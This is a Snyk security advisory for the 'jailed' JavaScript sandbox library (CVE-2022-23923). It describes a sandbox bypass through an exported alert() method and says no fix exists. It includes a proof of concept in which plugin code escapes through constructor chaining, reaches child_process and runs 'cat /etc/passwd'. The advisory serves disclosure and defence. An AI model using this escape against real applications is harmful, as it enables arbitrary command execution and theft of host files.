Sandbox Bypass Affecting jailed package, versions *
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.29% (69th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-JAILED-2391490
- published 6 Apr 2022
- disclosed 2 Feb 2022
- credit Cristian-Alexandru Staicu, Abdullah Alhamdan
Introduced: 2 Feb 2022
CVE-2022-23923 Open this link in a new tabHow to fix?
There is no fixed version for jailed
.
Overview
jailed is an a small JavaScript library for running untrusted code in a sandbox.
Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert()
method which can access the main application. Exported methods are stored in the application.remote
object.
PoC
//poc.js
var jailed = require('jailed');
var path = './jailed-plugin.js';
var api = {
alert: console.log
};
var plugin = new jailed.Plugin(path, api);
//jailed-plugin.js
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());